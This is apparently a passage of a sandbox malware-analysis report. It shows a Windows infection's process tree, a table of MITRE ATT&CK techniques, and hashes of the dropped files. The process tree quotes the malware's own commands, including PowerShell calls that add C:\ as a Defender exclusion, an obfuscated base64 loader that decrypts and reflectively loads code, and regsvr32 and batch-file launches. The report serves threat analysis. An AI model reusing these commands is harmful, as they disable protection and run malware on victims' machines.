                                                  • System Location Discovery: System Language Discovery
                                                  PID:5616
                                                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10383860101\b97c1293af.exe"
                                                    4⤵
                                                    • Downloads MZ/PE file
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    PID:1544
                                                • C:\Users\Admin\AppData\Local\Temp\10383870101\bd1683a746.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383870101\bd1683a746.exe"
                                                  3⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious use of SetThreadContext
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1524
                                                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10383870101\bd1683a746.exe"
                                                    4⤵
                                                    • Downloads MZ/PE file
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    PID:4496
                                                • C:\Users\Admin\AppData\Local\Temp\10383880101\77352a3df4.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383880101\77352a3df4.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:5012
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                    4⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:4384
                                                • C:\Users\Admin\AppData\Local\Temp\10383890101\277660c6c8.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383890101\277660c6c8.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3944
                                                • C:\Users\Admin\AppData\Local\Temp\10383910101\aezyEBW.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383910101\aezyEBW.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:3348
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                    4⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:4560
                                                • C:\Users\Admin\AppData\Local\Temp\10383920101\h2kC2YI.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383920101\h2kC2YI.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:3552
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                    4⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3664
                                                • C:\Users\Admin\AppData\Local\Temp\10383930101\3657cab28f.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383930101\3657cab28f.exe"
                                                  3⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3332
                                                • C:\Users\Admin\AppData\Local\Temp\10383940101\EPTwCQd.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383940101\EPTwCQd.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:3632
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                    4⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:1052
                                                • C:\Users\Admin\AppData\Local\Temp\10383950101\8cb27284cd.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383950101\8cb27284cd.exe"
                                                  3⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Writes to the Master Boot Record (MBR)
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • System Location Discovery: System Language Discovery
                                                  PID:4476
                                                • C:\Users\Admin\AppData\Local\Temp\10383960101\u75a1_003.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383960101\u75a1_003.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious behavior: MapViewOfSection
                                                  PID:4064
                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                    cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                    4⤵
                                                      PID:3692
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                        5⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        PID:2836
                                                    • C:\Windows\system32\svchost.exe
                                                      "C:\Windows\system32\svchost.exe"
                                                      4⤵
                                                      • Downloads MZ/PE file
                                                      • Adds Run key to start application
                                                      PID:5928
                                                      • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                                                        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
                                                        5⤵
                                                        • Sets service image path in registry
                                                        • Executes dropped EXE
                                                        • Suspicious behavior: LoadsDriver
                                                        PID:3816
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell Remove-MpPreference -ExclusionPath C:\
                                                          6⤵
                                                            PID:6888
                                                        • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
                                                          5⤵
                                                          • Deletes itself
                                                          • Executes dropped EXE
                                                          PID:5516
                                                    • C:\Users\Admin\AppData\Local\Temp\10383970101\7IIl2eE.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10383970101\7IIl2eE.exe"
                                                      3⤵
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      • Drops file in Windows directory
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4412
                                                      • C:\Windows\SysWOW64\CMD.exe
                                                        "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
                                                        4⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:13080
                                                    • C:\Users\Admin\AppData\Local\Temp\10383980101\TbV75ZR.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10383980101\TbV75ZR.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      PID:6508
                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                        4⤵
                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                        • System Location Discovery: System Language Discovery
                                                        PID:6560
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6560 -s 508
                                                          5⤵
                                                          • Program crash
                                                          PID:6932
                                                    • C:\Users\Admin\AppData\Local\Temp\10383990101\Rm3cVPI.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10383990101\Rm3cVPI.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4904
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10384001121\5YB5L4K.cmd"
                                                      3⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:7336
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10384001121\5YB5L4K.cmd"
                                                        4⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:7452
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops startup file
                                                          • System Location Discovery: System Language Discovery
                                                          PID:7672
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                                                            6⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:4588
                                                    • C:\Users\Admin\AppData\Local\Temp\10384010101\SPOKz5U.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10384010101\SPOKz5U.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      PID:4424
                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                        4⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2196
                                                • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                  C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  PID:5660
                                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  1⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3080
                                                • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                  "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                  1⤵
                                                    PID:1328
                                                  • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                    "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                    1⤵
                                                      PID:3284
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3280 -ip 3280
                                                      1⤵
                                                        PID:5408
                                                      • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                        1⤵
                                                        • Executes dropped EXE
                                                        PID:772
                                                      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                        C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                        1⤵
                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                        • Checks BIOS information in registry
                                                        • Executes dropped EXE
                                                        • Identifies Wine through registry keys
                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                        PID:8
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                                        1⤵
                                                          PID:2972
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                                          1⤵
                                                            PID:6060
                                                          • C:\Windows\system32\regsvr32.EXE
                                                            C:\Windows\system32\regsvr32.EXE /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\1wlanapi.ocx"
                                                            1⤵
                                                              PID:3664
                                                              • C:\Windows\SysWOW64\regsvr32.exe
                                                                /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\1wlanapi.ocx"
                                                                2⤵
                                                                • Loads dropped DLL
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5812
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"
                                                                  3⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:2084
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6560 -ip 6560
                                                              1⤵
                                                                PID:6784

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Reconnaissance

                                                              Resource Development

                                                              Initial Access

                                                              Execution

                                                              Command and Scripting Interpreter

                                                              1
                                                              T1059

                                                              PowerShell

                                                              1
                                                              T1059.001

                                                              System Services

                                                              2
                                                              T1569

                                                              Service Execution

                                                              2
                                                              T1569.002

                                                              Persistence

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Registry Run Keys / Startup Folder

                                                              2
                                                              T1547.001

                                                              Create or Modify System Process

                                                              3
                                                              T1543

                                                              Windows Service

                                                              3
                                                              T1543.003

                                                              Pre-OS Boot

                                                              1
                                                              T1542

                                                              Bootkit

                                                              1
                                                              T1542.003

                                                              Privilege Escalation

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Registry Run Keys / Startup Folder

                                                              2
                                                              T1547.001

                                                              Create or Modify System Process

                                                              3
                                                              T1543

                                                              Windows Service

                                                              3
                                                              T1543.003

                                                              Defense Evasion

                                                              File and Directory Permissions Modification

                                                              1
                                                              T1222

                                                              Impair Defenses

                                                              1
                                                              T1562

                                                              Modify Registry

                                                              3
                                                              T1112

                                                              Pre-OS Boot

                                                              1
                                                              T1542

                                                              Bootkit

                                                              1
                                                              T1542.003

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              Credential Access

                                                              Credentials from Password Stores

                                                              1
                                                              T1555

                                                              Credentials from Web Browsers

                                                              1
                                                              T1555.003

                                                              Unsecured Credentials

                                                              4
                                                              T1552

                                                              Credentials In Files

                                                              4
                                                              T1552.001

                                                              Discovery

                                                              Query Registry

                                                              6
                                                              T1012

                                                              System Information Discovery

                                                              3
                                                              T1082

                                                              System Location Discovery

                                                              1
                                                              T1614

                                                              System Language Discovery

                                                              1
                                                              T1614.001

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              Lateral Movement

                                                              Collection

                                                              Data from Local System

                                                              3
                                                              T1005

                                                              Command and Control

                                                              Exfiltration

                                                              Impact

                                                              Service Stop

                                                              1
                                                              T1489

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • C:\Users\Admin:.repos
                                                                Filesize

                                                                1.2MB

                                                                MD5

                                                                ca5819be389cc2d9ec346792f9f85d90

                                                                SHA1

                                                                ff0b958d4657e44b616e5d10831d6e6a450edd4d

                                                                SHA256

                                                                413c4992abad058953a15fc9e1616c1a7c781fe7d97d95997f58278241284f2f

                                                                SHA512

                                                                9c2703d9db5a208a0fb4524c47c888cd3a2ed76e39c8ade85d550f24cf288256361690a7062272c3c95584db7c45eb01c0f1964c0060a6848b22124dbcb1b3a6

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d85ba6ff808d9e5444a4b369f5bc2730

                                                                SHA1

                                                                31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                SHA256

                                                                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                SHA512

                                                                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PowerShell.exe.log
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                9751fcb3d8dc82d33d50eebe53abe314

                                                                SHA1

                                                                7a680212700a5d9f3ca67c81e0e243834387c20c

                                                                SHA256

                                                                ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

                                                                SHA512

                                                                54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\4OGA4O1H\dll[2]
                                                                Filesize

                                                                236KB

                                                                MD5

                                                                2ecb51ab00c5f340380ecf849291dbcf

                                                                SHA1

                                                                1a4dffbce2a4ce65495ed79eab42a4da3b660931

                                                                SHA256

                                                                f1b3e0f2750a9103e46a6a4a34f1cf9d17779725f98042cc2475ec66484801cf

                                                                SHA512

                                                                e241a48eafcaf99187035f0870d24d74ae97fe84aaadd2591cceea9f64b8223d77cfb17a038a58eadd3b822c5201a6f7494f26eea6f77d95f77f6c668d088e6b

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\4OGA4O1H\success[1].htm
                                                                Filesize

                                                                1B

                                                                MD5

                                                                cfcd208495d565ef66e7dff9f98764da

                                                                SHA1

                                                                b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                                                                SHA256

                                                                5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                                                                SHA512

                                                                31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\IKSTFXHA\soft[1]
                                                                Filesize

                                                                3.0MB

                                                                MD5

                                                                2cb4cdd698f1cbc9268d2c6bcd592077

                                                                SHA1

                                                                86e68f04bc99f21c9d6e32930c3709b371946165

